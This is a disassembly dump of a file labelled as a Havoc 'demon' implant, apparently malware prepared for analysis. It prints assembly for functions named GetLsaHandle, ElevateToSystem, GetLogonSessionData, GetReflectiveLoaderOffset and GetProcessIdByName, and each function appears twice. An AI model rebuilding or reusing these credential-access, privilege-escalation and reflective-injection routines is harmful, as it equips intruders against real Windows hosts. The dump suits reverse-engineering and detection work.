File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
140014080
140014080GetLUID:
140014080push rdi
140014081xor eax, eax
140014083mov r10, rcx
140014086mov ecx, 14
14001408bsub rsp, 112
14001408flea rdi, [rsp+56]
140014094rep stosd [rdi], eax
140014096xor eax, eax
140014098mov [rsp+52], eax
14001409ctest r10, r10
14001409fje 0x1400140e4
1400140a1mov rdi, [rip+0x182c8]
1400140a8lea rax, [rsp+52]
1400140admov r9l, 56
1400140b3mov rcx, r10
1400140b6mov [rsp+32], rax
1400140bblea r8, [rsp+56]
1400140c0mov edx, 10
1400140c5call [rdi+1340]
1400140cbtest eax, eax
1400140cdje 0x1400140e4
1400140cfmov edx, 8
1400140d4mov ecx, 64
1400140d9call [rdi+932]
1400140dftest rax, rax
1400140e2jne 0x1400140e8
1400140e4
1400140e4loc_1400140e4:
1400140e4xor eax, eax
1400140e6jmp 0x1400140f5
1400140e8
1400140e8loc_1400140e8:
1400140e8mov edx, [rsp+68]
1400140ecmov [rax+4], edx
1400140efmov edx, [rsp+64]
1400140f3mov [rax], edx
1400140f5
1400140f5loc_1400140f5:
1400140f5add rsp, 112
1400140f9pop rdi
1400140faret
140014080
140014080GetLUID:
140014080push rdi
140014081xor eax, eax
140014083mov r10, rcx
140014086mov ecx, 14
14001408bsub rsp, 112
14001408flea rdi, [rsp+56]
140014094rep stosd [rdi], eax
140014096xor eax, eax
140014098mov [rsp+52], eax
14001409ctest r10, r10
14001409fje 0x1400140e4
1400140a1mov rdi, [rip+0x182c8]
1400140a8lea rax, [rsp+52]
1400140admov r9l, 56
1400140b3mov rcx, r10
1400140b6mov [rsp+32], rax
1400140bblea r8, [rsp+56]
1400140c0mov edx, 10
1400140c5call [rdi+1340]
1400140cbtest eax, eax
1400140cdje 0x1400140e4
1400140cfmov edx, 8
1400140d4mov ecx, 64
1400140d9call [rdi+932]
1400140dftest rax, rax
1400140e2jne 0x1400140e8
1400140e4
1400140e4loc_1400140e4:
1400140e4xor eax, eax
1400140e6jmp 0x1400140f5
1400140e8
1400140e8loc_1400140e8:
1400140e8mov edx, [rsp+68]
1400140ecmov [rax+4], edx
1400140efmov edx, [rsp+64]
1400140f3mov [rax], edx
1400140f5
1400140f5loc_1400140f5:
1400140f5add rsp, 112
1400140f9pop rdi
1400140faret
140014080
1400140fb
1400140fb // align 0x10
1400140fb // align 0x10
140014100
140014100GetLogonSessionData:
140014100push r14
140014102push r13
140014104push r12
140014106mov r12, rdx
140014109mov edx, 16
14001410epush rbp
14001410fpush rdi
140014110push rsi
140014111push rbx
140014112mov ebx, 0xffffffffc0000001
140014117sub rsp, 64
14001411bmov rdi, [rip+0x1824e]
140014122mov [rsp+128], rcx
14001412axor ecx, ecx
14001412cmov [rsp+40], rcx
140014131mov ecx, 64
140014136call [rdi+932]
14001413ctest rax, rax
14001413fje 0x140014233
140014145cmp [rsp+128], 0
14001414dmov rsi, rax
140014150je 0x14001419f
140014152lea rdx, [rsp+40]
140014157lea rcx, [rsp+128]
14001415fcall [rdi+1964]
140014165mov ebx, eax
140014167test eax, eax
140014169js 0x140014233
14001416fmov edx, 8
140014174mov ecx, 64
140014179call [rdi+932]
14001417fmov [rsi], rax
140014182test rax, rax
140014185je 0x14001422e
14001418bmov rdx, [rsp+40]
140014190mov [rsi+8], 1
140014197mov [rax], rdx
14001419ajmp 0x140014228
14001419f
14001419floc_14001419f:
14001419flea rdx, [rsp+48]
1400141a4lea rcx, [rsp+36]
1400141a9call [rdi+1972]
1400141afmov ebx, eax
1400141b1test eax, eax
1400141b3js 0x140014233
1400141b5mov edx, [rsp+36]
1400141b9mov ecx, 64
1400141beshl rdx, 3
1400141c2call [rdi+932]
1400141c8mov [rsi], rax
1400141cbtest rax, rax
1400141ceje 0x14001422e
1400141d0mov eax, [rsp+36]
1400141d4xor ebp, ebp
1400141d6lea r13, [rsp+40]
1400141dblea r14, [rsp+56]
1400141e0mov [rsi+8], eax
1400141e3
1400141e3loc_1400141e3:
1400141e3mov rcx, [rsp+48]
1400141e8cmp ebp, [rsp+36]
1400141ecjae 0x140014222
1400141eemov rax, [rcx+8*rbp]
1400141f2mov rdx, r13
1400141f5mov rcx, r14
1400141f8mov [rsp+56], rax
1400141fdcall [rdi+1964]
140014203test eax, eax
140014205mov ebx, eax
140014207mov rax, [rsi]
14001420ajs 0x140014217
14001420cmov rdx, [rsp+40]
140014211mov [rax+8*rbp], rdx
140014215jmp 0x14001421d
140014217
140014217loc_140014217:
140014217xor edx, edx
140014219mov [rax+8*rbp], rdx
14001421d
14001421dloc_14001421d:
14001421dinc rbp
140014220jmp 0x1400141e3
140014222
140014222loc_140014222:
140014222call [rdi+2012]
140014228
140014228loc_140014228:
140014228mov [r12], rsi
14001422cjmp 0x140014233
14001422e
14001422eloc_14001422e:
14001422emov ebx, 0xffffffffc00000a0
140014233
140014233loc_140014233:
140014233add rsp, 64
140014237mov eax, ebx
140014239pop rbx
14001423apop rsi
14001423bpop rdi
14001423cpop rbp
14001423dpop r12
14001423fpop r13
140014241pop r14
140014243ret
140014100
140014100GetLogonSessionData:
140014100push r14
140014102push r13
140014104push r12
140014106mov r12, rdx
140014109mov edx, 16
14001410epush rbp
14001410fpush rdi
140014110push rsi
140014111push rbx
140014112mov ebx, 0xffffffffc0000001
140014117sub rsp, 64
14001411bmov rdi, [rip+0x1824e]
140014122mov [rsp+128], rcx
14001412axor ecx, ecx
14001412cmov [rsp+40], rcx
140014131mov ecx, 64
140014136call [rdi+932]
14001413ctest rax, rax
14001413fje 0x140014233
140014145cmp [rsp+128], 0
14001414dmov rsi, rax
140014150je 0x14001419f
140014152lea rdx, [rsp+40]
140014157lea rcx, [rsp+128]
14001415fcall [rdi+1964]
140014165mov ebx, eax
140014167test eax, eax
140014169js 0x140014233
14001416fmov edx, 8
140014174mov ecx, 64
140014179call [rdi+932]
14001417fmov [rsi], rax
140014182test rax, rax
140014185je 0x14001422e
14001418bmov rdx, [rsp+40]
140014190mov [rsi+8], 1
140014197mov [rax], rdx
14001419ajmp 0x140014228
14001419f
14001419floc_14001419f:
14001419flea rdx, [rsp+48]
1400141a4lea rcx, [rsp+36]
1400141a9call [rdi+1972]
1400141afmov ebx, eax
1400141b1test eax, eax
1400141b3js 0x140014233
1400141b5mov edx, [rsp+36]
1400141b9mov ecx, 64
1400141beshl rdx, 3
1400141c2call [rdi+932]
1400141c8mov [rsi], rax
1400141cbtest rax, rax
1400141ceje 0x14001422e
1400141d0mov eax, [rsp+36]
1400141d4xor ebp, ebp
1400141d6lea r13, [rsp+40]
1400141dblea r14, [rsp+56]
1400141e0mov [rsi+8], eax
1400141e3
1400141e3loc_1400141e3:
1400141e3mov rcx, [rsp+48]
1400141e8cmp ebp, [rsp+36]
1400141ecjae 0x140014222
1400141eemov rax, [rcx+8*rbp]
1400141f2mov rdx, r13
1400141f5mov rcx, r14
1400141f8mov [rsp+56], rax
1400141fdcall [rdi+1964]
140014203test eax, eax
140014205mov ebx, eax
140014207mov rax, [rsi]
14001420ajs 0x140014217
14001420cmov rdx, [rsp+40]
140014211mov [rax+8*rbp], rdx
140014215jmp 0x14001421d
140014217
140014217loc_140014217:
140014217xor edx, edx
140014219mov [rax+8*rbp], rdx
14001421d
14001421dloc_14001421d:
14001421dinc rbp
140014220jmp 0x1400141e3
140014222
140014222loc_140014222:
140014222call [rdi+2012]
140014228
140014228loc_140014228:
140014228mov [r12], rsi
14001422cjmp 0x140014233
14001422e
14001422eloc_14001422e:
14001422emov ebx, 0xffffffffc00000a0
140014233
140014233loc_140014233:
140014233add rsp, 64
140014237mov eax, ebx
140014239pop rbx
14001423apop rsi
14001423bpop rdi
14001423cpop rbp
14001423dpop r12
14001423fpop r13
140014241pop r14
140014243ret
140014100
140014244
140014244 // align 0x10
140014244 // align 0x10
140014250
140014250GetLsaHandle:
140014250push r15
140014252xor r9l, r9l
140014255push r14
140014257push r13
140014259push r12
14001425bpush rbp
14001425cpush rdi
14001425dpush rsi
14001425emov rsi, r8
140014261xor r8l, r8l
140014264push rbx
140014265sub rsp, 88
140014269test edx, edx
14001426bmov rbp, [rip+0x180fe]
140014272mov [rsp+40], r8
140014277lea r12, [rsp+40]
14001427cmov [rsp+36], r9l
140014281jne 0x1400142a5
140014283mov rcx, r12
140014286call [rbp+2004]
14001428cmov ebx, eax
14001428etest eax, eax
140014290jns 0x1400143e7
140014296mov ecx, eax
140014298call [rbp+1452]
14001429emov ebx, eax
1400142a0jmp 0x1400143e7
1400142a5
1400142a5loc_1400142a5:
1400142a5xor eax, eax
1400142a7lea rdi, [rsp+54]
1400142aclea r15, [rsp+36]
1400142b1mov r14, rcx
1400142b4mov ecx, 110
1400142b9mov [rsp+54], rax
1400142belea r13, [rsp+64]
1400142c3mov [rsp+62], 0
1400142cacall HideChar
1400142cfmov ecx, 110
1400142d4mov [rsp+56], al
1400142d8call HideChar
1400142ddmov ecx, 111
1400142e2mov [rsp+62], al
1400142e6call HideChar
1400142ebmov ecx, 87
1400142f0mov [rsp+58], al
1400142f4call HideChar
1400142f9mov ecx, 105
1400142femov [rsp+54], al
140014302call HideChar
140014307mov ecx, 111
14001430cmov [rsp+55], al
140014310call HideChar
140014315mov ecx, 103
14001431amov [rsp+61], al
14001431ecall HideChar
140014323mov ecx, 108
140014328mov [rsp+60], al
14001432ccall HideChar
140014331xor ecx, ecx
140014333mov [rsp+57], al
140014337call HideChar
14001433cmov ecx, 111
140014341mov [rsp+63], al
140014345call HideChar
14001434amov [rsp+72], rdi
14001434fmov r8, r15
140014352mov rdx, r12
140014355mov [rsp+59], al
140014359mov rcx, r13
14001435cmov [rsp+64], 0x90008
140014364call [rbp+1980]
14001436amov ebx, eax
14001436ctest eax, eax
14001436ejs 0x140014378
140014370cmp [rsp+40], 0
140014376jne 0x1400143de
140014378
140014378loc_140014378:
140014378mov rcx, r14
14001437bcall IsSystem
140014380test eax, eax
140014382je 0x1400143a5
140014384mov r8, r15
140014387mov rdx, r12
14001438amov rcx, r13
14001438dcall [rbp+1980]
140014393mov ebx, eax
140014395test eax, eax
140014397jns 0x1400143de
140014399mov ecx, eax
14001439bcall [rbp+1452]
1400143a1mov ebx, eax
1400143a3jmp 0x1400143de
1400143a5
1400143a5loc_1400143a5:
1400143a5call ElevateToSystem
1400143aatest eax, eax
1400143acje 0x1400143d4
1400143aemov r8, r15
1400143b1mov rdx, r12
1400143b4mov rcx, r13
1400143b7call [rbp+1980]
1400143bdmov ebx, eax
1400143bftest eax, eax
1400143c1jns 0x1400143cd
1400143c3mov ecx, eax
1400143c5call [rbp+1452]
1400143cbmov ebx, eax
1400143cd
1400143cdloc_1400143cd:
1400143cdcall TokenRevSelf
1400143d2jmp 0x1400143de
1400143d4
1400143d4loc_1400143d4:
1400143d4mov rax, [rbp+2230]
1400143dbmov ebx, [rax+104]
1400143de
1400143deloc_1400143de:
1400143demov ecx, 10
1400143e3xor eax, eax
1400143e5rep stosb [rdi], al
1400143e7
1400143e7loc_1400143e7:
1400143e7mov rax, [rsp+40]
1400143ecmov [rsi], rax
1400143efadd rsp, 88
1400143f3mov eax, ebx
1400143f5pop rbx
1400143f6pop rsi
1400143f7pop rdi
1400143f8pop rbp
1400143f9pop r12
1400143fbpop r13
1400143fdpop r14
1400143ffpop r15
140014401ret
140014250
140014250GetLsaHandle:
140014250push r15
140014252xor r9l, r9l
140014255push r14
140014257push r13
140014259push r12
14001425bpush rbp
14001425cpush rdi
14001425dpush rsi
14001425emov rsi, r8
140014261xor r8l, r8l
140014264push rbx
140014265sub rsp, 88
140014269test edx, edx
14001426bmov rbp, [rip+0x180fe]
140014272mov [rsp+40], r8
140014277lea r12, [rsp+40]
14001427cmov [rsp+36], r9l
140014281jne 0x1400142a5
140014283mov rcx, r12
140014286call [rbp+2004]
14001428cmov ebx, eax
14001428etest eax, eax
140014290jns 0x1400143e7
140014296mov ecx, eax
140014298call [rbp+1452]
14001429emov ebx, eax
1400142a0jmp 0x1400143e7
1400142a5
1400142a5loc_1400142a5:
1400142a5xor eax, eax
1400142a7lea rdi, [rsp+54]
1400142aclea r15, [rsp+36]
1400142b1mov r14, rcx
1400142b4mov ecx, 110
1400142b9mov [rsp+54], rax
1400142belea r13, [rsp+64]
1400142c3mov [rsp+62], 0
1400142cacall HideChar
1400142cfmov ecx, 110
1400142d4mov [rsp+56], al
1400142d8call HideChar
1400142ddmov ecx, 111
1400142e2mov [rsp+62], al
1400142e6call HideChar
1400142ebmov ecx, 87
1400142f0mov [rsp+58], al
1400142f4call HideChar
1400142f9mov ecx, 105
1400142femov [rsp+54], al
140014302call HideChar
140014307mov ecx, 111
14001430cmov [rsp+55], al
140014310call HideChar
140014315mov ecx, 103
14001431amov [rsp+61], al
14001431ecall HideChar
140014323mov ecx, 108
140014328mov [rsp+60], al
14001432ccall HideChar
140014331xor ecx, ecx
140014333mov [rsp+57], al
140014337call HideChar
14001433cmov ecx, 111
140014341mov [rsp+63], al
140014345call HideChar
14001434amov [rsp+72], rdi
14001434fmov r8, r15
140014352mov rdx, r12
140014355mov [rsp+59], al
140014359mov rcx, r13
14001435cmov [rsp+64], 0x90008
140014364call [rbp+1980]
14001436amov ebx, eax
14001436ctest eax, eax
14001436ejs 0x140014378
140014370cmp [rsp+40], 0
140014376jne 0x1400143de
140014378
140014378loc_140014378:
140014378mov rcx, r14
14001437bcall IsSystem
140014380test eax, eax
140014382je 0x1400143a5
140014384mov r8, r15
140014387mov rdx, r12
14001438amov rcx, r13
14001438dcall [rbp+1980]
140014393mov ebx, eax
140014395test eax, eax
140014397jns 0x1400143de
140014399mov ecx, eax
14001439bcall [rbp+1452]
1400143a1mov ebx, eax
1400143a3jmp 0x1400143de
1400143a5
1400143a5loc_1400143a5:
1400143a5call ElevateToSystem
1400143aatest eax, eax
1400143acje 0x1400143d4
1400143aemov r8, r15
1400143b1mov rdx, r12
1400143b4mov rcx, r13
1400143b7call [rbp+1980]
1400143bdmov ebx, eax
1400143bftest eax, eax
1400143c1jns 0x1400143cd
1400143c3mov ecx, eax
1400143c5call [rbp+1452]
1400143cbmov ebx, eax
1400143cd
1400143cdloc_1400143cd:
1400143cdcall TokenRevSelf
1400143d2jmp 0x1400143de
1400143d4
1400143d4loc_1400143d4:
1400143d4mov rax, [rbp+2230]
1400143dbmov ebx, [rax+104]
1400143de
1400143deloc_1400143de:
1400143demov ecx, 10
1400143e3xor eax, eax
1400143e5rep stosb [rdi], al
1400143e7
1400143e7loc_1400143e7:
1400143e7mov rax, [rsp+40]
1400143ecmov [rsi], rax
1400143efadd rsp, 88
1400143f3mov eax, ebx
1400143f5pop rbx
1400143f6pop rsi
1400143f7pop rdi
1400143f8pop rbp
1400143f9pop r12
1400143fbpop r13
1400143fdpop r14
1400143ffpop r15
140014401ret
140014250
140014402
140014402 // align 0x10
140014402 // align 0x10
140014410
140014410GetMemFile:
140014410mov rax, [rip+0x17f59]
140014417mov rax, [rax+2318]
14001441e
14001441eloc_14001441e:
14001441etest rax, rax
140014421je 0x14001442d
140014423cmp [rax], ecx
140014425je 0x14001442d
140014427mov rax, [rax+40]
14001442bjmp 0x14001441e
14001442d
14001442dloc_14001442d:
14001442dret
140014410
140014410GetMemFile:
140014410mov rax, [rip+0x17f59]
140014417mov rax, [rax+2318]
14001441e
14001441eloc_14001441e:
14001441etest rax, rax
140014421je 0x14001442d
140014423cmp [rax], ecx
140014425je 0x14001442d
140014427mov rax, [rax+40]
14001442bjmp 0x14001441e
14001442d
14001442dloc_14001442d:
14001442dret
140014410
14001442e
14001442e // align 0x10
14001442e // align 0x10
140014430
140014430GetPeArch:
140014430xor eax, eax
140014432test rcx, rcx
140014435je 0x140014457
140014437movsxd rax, [rcx+60]
14001443bmov edx, [rcx+rax+24]
14001443fmov eax, 1
140014444cmp dx, 267
140014449je 0x140014457
14001444bxor eax, eax
14001444dcmp dx, 523
140014452sete al
140014455add eax, eax
140014457
140014457loc_140014457:
140014457ret
140014430
140014430GetPeArch:
140014430xor eax, eax
140014432test rcx, rcx
140014435je 0x140014457
140014437movsxd rax, [rcx+60]
14001443bmov edx, [rcx+rax+24]
14001443fmov eax, 1
140014444cmp dx, 267
140014449je 0x140014457
14001444bxor eax, eax
14001444dcmp dx, 523
140014452sete al
140014455add eax, eax
140014457
140014457loc_140014457:
140014457ret
140014430
140014458
140014458 // align 0x10
140014458 // align 0x10
140014460
140014460GetProcessIdByName:
140014460push r12
140014462xor eax, eax
140014464xor edx, edx
140014466push rbp
140014467mov rbp, rcx
14001446amov ecx, 142
14001446fpush rdi
140014470push rsi
140014471push rbx
140014472sub rsp, 608
140014479mov rsi, [rip+0x17ef0]
140014480lea rdi, [rsp+40]
140014485rep stosd [rdi], eax
140014487mov ecx, 2
14001448ccall [rsi+772]
140014492cmp rax, -1
140014496je 0x1400144c5
140014498lea rdi, [rsp+40]
14001449dmov rbx, rax
1400144a0lea r12, [rsp+84]
1400144a5mov rcx, rax
1400144a8mov [rsp+40], 568
1400144b0mov rdx, rdi
1400144b3call [rsi+780]
1400144b9test eax, eax
1400144bbjne 0x1400144ca
1400144bdmov rcx, rbx
1400144c0call SysNtClose
1400144c5
1400144c5loc_1400144c5:
1400144c5or esi, -1
1400144c8jmp 0x1400144fa
1400144ca
1400144caloc_1400144ca:
1400144camov rdx, rbp
1400144cdmov rcx, r12
1400144d0call StringCompareW
1400144d5test eax, eax
1400144d7jne 0x1400144df
1400144d9mov esi, [rsp+48]
1400144ddjmp 0x1400144f2
1400144df
1400144dfloc_1400144df:
1400144dfmov rdx, rdi
1400144e2mov rcx, rbx
1400144e5call [rsi+788]
1400144ebtest eax, eax
1400144edjne 0x1400144ca
1400144efor esi, -1
1400144f2
1400144f2loc_1400144f2:
1400144f2mov rcx, rbx
1400144f5call SysNtClose
1400144fa
1400144faloc_1400144fa:
1400144faadd rsp, 608
140014501mov eax, esi
140014503pop rbx
140014504pop rsi
140014505pop rdi
140014506pop rbp
140014507pop r12
140014509ret
140014460
140014460GetProcessIdByName:
140014460push r12
140014462xor eax, eax
140014464xor edx, edx
140014466push rbp
140014467mov rbp, rcx
14001446amov ecx, 142
14001446fpush rdi
140014470push rsi
140014471push rbx
140014472sub rsp, 608
140014479mov rsi, [rip+0x17ef0]
140014480lea rdi, [rsp+40]
140014485rep stosd [rdi], eax
140014487mov ecx, 2
14001448ccall [rsi+772]
140014492cmp rax, -1
140014496je 0x1400144c5
140014498lea rdi, [rsp+40]
14001449dmov rbx, rax
1400144a0lea r12, [rsp+84]
1400144a5mov rcx, rax
1400144a8mov [rsp+40], 568
1400144b0mov rdx, rdi
1400144b3call [rsi+780]
1400144b9test eax, eax
1400144bbjne 0x1400144ca
1400144bdmov rcx, rbx
1400144c0call SysNtClose
1400144c5
1400144c5loc_1400144c5:
1400144c5or esi, -1
1400144c8jmp 0x1400144fa
1400144ca
1400144caloc_1400144ca:
1400144camov rdx, rbp
1400144cdmov rcx, r12
1400144d0call StringCompareW
1400144d5test eax, eax
1400144d7jne 0x1400144df
1400144d9mov esi, [rsp+48]
1400144ddjmp 0x1400144f2
1400144df
1400144dfloc_1400144df:
1400144dfmov rdx, rdi
1400144e2mov rcx, rbx
1400144e5call [rsi+788]
1400144ebtest eax, eax
1400144edjne 0x1400144ca
1400144efor esi, -1
1400144f2
1400144f2loc_1400144f2:
1400144f2mov rcx, rbx
1400144f5call SysNtClose
1400144fa
1400144faloc_1400144fa:
1400144faadd rsp, 608
140014501mov eax, esi
140014503pop rbx
140014504pop rsi
140014505pop rdi
140014506pop rbp
140014507pop r12
140014509ret
140014460
14001450a
14001450a // align 0x10
14001450a // align 0x10
140014510
140014510GetProcessesFromHandleTable:
140014510push r12
140014512mov r12, rdx
140014515mov edx, 20004
14001451apush rbp
14001451bpush rdi
14001451cmov rdi, rcx
14001451fmov ecx, 64
140014524push rsi
140014525push rbx
140014526sub rsp, 32
14001452amov rbp, [rip+0x17e3f]
140014531call [rbp+932]
140014537mov r10l, [rdi]
14001453axor r9l, r9l
14001453dmov rbx, rax
140014540
140014540loc_140014540:
140014540cmp r9l, r10l
140014543jae 0x1400145ab
140014545imul rax, r9, 24
140014549mov rcx, rbx
14001454cmovzx edx, [rdi+rax+8]
140014551call ProcessIsIncluded
140014556mov esi, eax
140014558test eax, eax
14001455ajne 0x1400145a6
14001455cmov eax, [rbx]
14001455elea ecx, [rax+1]
140014561cmp ecx, 5000
140014567jbe 0x1400145a0
140014569lea r9, [rip+0x1571f]
140014570mov r8l, 1056
140014576mov rdi, rbx
140014579lea rdx, [rip+0x18aa0]
140014580lea rcx, [rip+0x15441]
140014587call printf
14001458cmov ecx, 20004
140014591xor eax, eax
140014593rep stosb [rdi], al
140014595mov rcx, rbx
140014598call [rbp+940]
14001459ejmp 0x1400145b4
1400145a0
1400145a0loc_1400145a0:
1400145a0mov [rbx], ecx
1400145a2mov [rbx+4*rax+4], edx
1400145a6
1400145a6loc_1400145a6:
1400145a6inc r9
1400145a9jmp 0x140014540
1400145ab
1400145abloc_1400145ab:
1400145abmov [r12], rbx
1400145afmov esi, 1
1400145b4
1400145b4loc_1400145b4:
1400145b4add rsp, 32
1400145b8mov eax, esi
1400145bapop rbx
1400145bbpop rsi
1400145bcpop rdi
1400145bdpop rbp
1400145bepop r12
1400145c0ret
140014510
140014510GetProcessesFromHandleTable:
140014510push r12
140014512mov r12, rdx
140014515mov edx, 20004
14001451apush rbp
14001451bpush rdi
14001451cmov rdi, rcx
14001451fmov ecx, 64
140014524push rsi
140014525push rbx
140014526sub rsp, 32
14001452amov rbp, [rip+0x17e3f]
140014531call [rbp+932]
140014537mov r10l, [rdi]
14001453axor r9l, r9l
14001453dmov rbx, rax
140014540
140014540loc_140014540:
140014540cmp r9l, r10l
140014543jae 0x1400145ab
140014545imul rax, r9, 24
140014549mov rcx, rbx
14001454cmovzx edx, [rdi+rax+8]
140014551call ProcessIsIncluded
140014556mov esi, eax
140014558test eax, eax
14001455ajne 0x1400145a6
14001455cmov eax, [rbx]
14001455elea ecx, [rax+1]
140014561cmp ecx, 5000
140014567jbe 0x1400145a0
140014569lea r9, [rip+0x1571f]
140014570mov r8l, 1056
140014576mov rdi, rbx
140014579lea rdx, [rip+0x18aa0]
140014580lea rcx, [rip+0x15441]
140014587call printf
14001458cmov ecx, 20004
140014591xor eax, eax
140014593rep stosb [rdi], al
140014595mov rcx, rbx
140014598call [rbp+940]
14001459ejmp 0x1400145b4
1400145a0
1400145a0loc_1400145a0:
1400145a0mov [rbx], ecx
1400145a2mov [rbx+4*rax+4], edx
1400145a6
1400145a6loc_1400145a6:
1400145a6inc r9
1400145a9jmp 0x140014540
1400145ab
1400145abloc_1400145ab:
1400145abmov [r12], rbx
1400145afmov esi, 1
1400145b4
1400145b4loc_1400145b4:
1400145b4add rsp, 32
1400145b8mov eax, esi
1400145bapop rbx
1400145bbpop rsi
1400145bcpop rdi
1400145bdpop rbp
1400145bepop r12
1400145c0ret
140014510
1400145c1
1400145c1 // align 0x10
1400145c1 // align 0x10
1400145d0
1400145d0GetReflectiveLoaderOffset:
1400145d0push r14
1400145d2push r13
1400145d4push r12
1400145d6xor r12l, r12l
1400145d9push rbp
1400145dapush rdi
1400145dbpush rsi
1400145dcpush rbx
1400145ddmov rbx, rcx
1400145e0mov rdx, rbx
1400145e3sub rsp, 32
1400145e7movsxd rax, [rcx+60]
1400145ebmov ecx, [rcx+rax+136]
1400145f2call Rva2Offset
1400145f7mov rdx, rbx
1400145famov esi, eax
1400145fcadd rsi, rbx
1400145ffmov ecx, [rsi+32]
140014602call Rva2Offset
140014607mov ecx, [rsi+36]
14001460amov rdx, rbx
14001460dmov r13l, eax
140014610call Rva2Offset
140014615mov r14l, [rsi+24]
140014619add r13, rbx
14001461cmov edi, eax
14001461e
14001461eloc_14001461e:
14001461ecmp r14, r12
140014621je 0x1400146b4
140014627mov ecx, [r13+4*r12]
14001462cmov rdx, rbx
14001462fcall Rva2Offset
140014634mov ebp, eax
140014636add rbp, rbx
140014639mov rcx, rbp
14001463ccall HashStringA
140014641cmp eax, 0xffffffffa6caa1c5
140014646jne 0x140014695
140014648
140014648loc_140014648:
140014648mov r9, rbp
14001464bmov r8l, 58
140014651add rdi, rbx
140014654lea rdx, [rip+0x180f5]
14001465blea rcx, [rip+0x16bbe]
140014662call printf.constprop.0
140014667mov ecx, [rsi+28]
14001466amov rdx, rbx
14001466dcall Rva2Offset
140014672movzx edx, [rdi+2*r12]
140014677mov eax, eax
140014679add rax, rbx
14001467cmov ecx, [rax+4*rdx]
14001467fadd rsp, 32
140014683mov rdx, rbx
140014686pop rbx
140014687pop rsi
140014688pop rdi
140014689pop rbp
14001468apop r12
14001468cpop r13
14001468epop r14
140014690jmp 0x14001c6f0
140014695
140014695loc_140014695:
140014695mov rcx, rbp
140014698call HashStringA
14001469dmov edx, eax
14001469flea rax, [r12+1]
1400146a4cmp edx, 0xffffffffffe885ef
1400146aaje 0x140014648
1400146acmov r12, rax
1400146afjmp 0x14001461e
1400146b4
1400146b4loc_1400146b4:
1400146b4add rsp, 32
1400146b8xor eax, eax
1400146bapop rbx
1400146bbpop rsi
1400146bcpop rdi
1400146bdpop rbp
1400146bepop r12
1400146c0pop r13
1400146c2pop r14
1400146c4ret
1400145d0
1400145d0GetReflectiveLoaderOffset:
1400145d0push r14
1400145d2push r13
1400145d4push r12
1400145d6xor r12l, r12l
1400145d9push rbp
1400145dapush rdi
1400145dbpush rsi
1400145dcpush rbx
1400145ddmov rbx, rcx
1400145e0mov rdx, rbx
1400145e3sub rsp, 32
1400145e7movsxd rax, [rcx+60]
1400145ebmov ecx, [rcx+rax+136]
1400145f2call Rva2Offset
1400145f7mov rdx, rbx
1400145famov esi, eax
1400145fcadd rsi, rbx
1400145ffmov ecx, [rsi+32]
140014602call Rva2Offset
140014607mov ecx, [rsi+36]
14001460amov rdx, rbx
14001460dmov r13l, eax
140014610call Rva2Offset
140014615mov r14l, [rsi+24]
140014619add r13, rbx
14001461cmov edi, eax
14001461e
14001461eloc_14001461e:
14001461ecmp r14, r12
140014621je 0x1400146b4
140014627mov ecx, [r13+4*r12]
14001462cmov rdx, rbx
14001462fcall Rva2Offset
140014634mov ebp, eax
140014636add rbp, rbx
140014639mov rcx, rbp
14001463ccall HashStringA
140014641cmp eax, 0xffffffffa6caa1c5
140014646jne 0x140014695
140014648
140014648loc_140014648:
140014648mov r9, rbp
14001464bmov r8l, 58
140014651add rdi, rbx
140014654lea rdx, [rip+0x180f5]
14001465blea rcx, [rip+0x16bbe]
140014662call printf.constprop.0
140014667mov ecx, [rsi+28]
14001466amov rdx, rbx
14001466dcall Rva2Offset
140014672movzx edx, [rdi+2*r12]
140014677mov eax, eax
140014679add rax, rbx
14001467cmov ecx, [rax+4*rdx]
14001467fadd rsp, 32
140014683mov rdx, rbx
140014686pop rbx
140014687pop rsi
140014688pop rdi
140014689pop rbp
14001468apop r12
14001468cpop r13
14001468epop r14
140014690jmp 0x14001c6f0
140014695
140014695loc_140014695:
140014695mov rcx, rbp
140014698call HashStringA
14001469dmov edx, eax
14001469flea rax, [r12+1]
1400146a4cmp edx, 0xffffffffffe885ef
1400146aaje 0x140014648
1400146acmov r12, rax
1400146afjmp 0x14001461e
1400146b4
1400146b4loc_1400146b4:
1400146b4add rsp, 32
1400146b8xor eax, eax
1400146bapop rbx
1400146bbpop rsi
1400146bcpop rdi
1400146bdpop rbp
1400146bepop r12
1400146c0pop r13
1400146c2pop r14
1400146c4ret
1400145d0
1400146c5
1400146c5 // align 0x10
1400146c5 // align 0x10
1400146d0
1400146d0GetRequestIDForCallingObjectFile:
1400146d0test rcx, rcx
1400146d3je 0x140014764
1400146d9push rsi
1400146damov rsi, rdx
1400146ddpush rbx
1400146desub rsp, 40
1400146e2test rdx, rdx
1400146e5je 0x14001475b
1400146e7mov rax, [rip+0x17c82]
1400146eemov rbx, [rax+2334]
1400146f5
1400146f5loc_1400146f5:
1400146f5test rbx, rbx
1400146f8je 0x14001473b
1400146famov rax, [rbx+40]
1400146fecmp rcx, rax
140014701jb 0x140014735
140014703add rax, [rbx+48]
140014707cmp rcx, rax
14001470ajae 0x140014735
14001470cmov r9l, [rbx+56]
140014710mov r8l, 186
140014716lea rdx, [rip+0x186a3]
14001471dlea rcx, [rip+0x16f55]
140014724call printf
140014729mov eax, [rbx+56]
14001472cmov [rsi], eax
14001472emov eax, 1
140014733jmp 0x14001475d
140014735
140014735loc_140014735:
140014735mov rbx, [rbx+84]
140014739jmp 0x1400146f5
14001473b
14001473bloc_14001473b:
14001473blea r9, [rip+0x16f74]
140014742mov r8l, 194
140014748lea rdx, [rip+0x18671]
14001474flea rcx, [rip+0x16f91]
140014756call printf
14001475b
14001475bloc_14001475b:
14001475bxor eax, eax
14001475d
14001475dloc_14001475d:
14001475dadd rsp, 40
140014761pop rbx
140014762pop rsi
140014763ret
140014764
140014764loc_140014764:
140014764xor eax, eax
140014766ret
1400146d0
1400146d0GetRequestIDForCallingObjectFile:
1400146d0test rcx, rcx
1400146d3je 0x140014764
1400146d9push rsi
1400146damov rsi, rdx
1400146ddpush rbx
1400146desub rsp, 40
1400146e2test rdx, rdx
1400146e5je 0x14001475b
1400146e7mov rax, [rip+0x17c82]
1400146eemov rbx, [rax+2334]
1400146f5
1400146f5loc_1400146f5:
1400146f5test rbx, rbx
1400146f8je 0x14001473b
1400146famov rax, [rbx+40]
1400146fecmp rcx, rax
140014701jb 0x140014735
140014703add rax, [rbx+48]
140014707cmp rcx, rax
14001470ajae 0x140014735
14001470cmov r9l, [rbx+56]
140014710mov r8l, 186
140014716lea rdx, [rip+0x186a3]
14001471dlea rcx, [rip+0x16f55]
140014724call printf
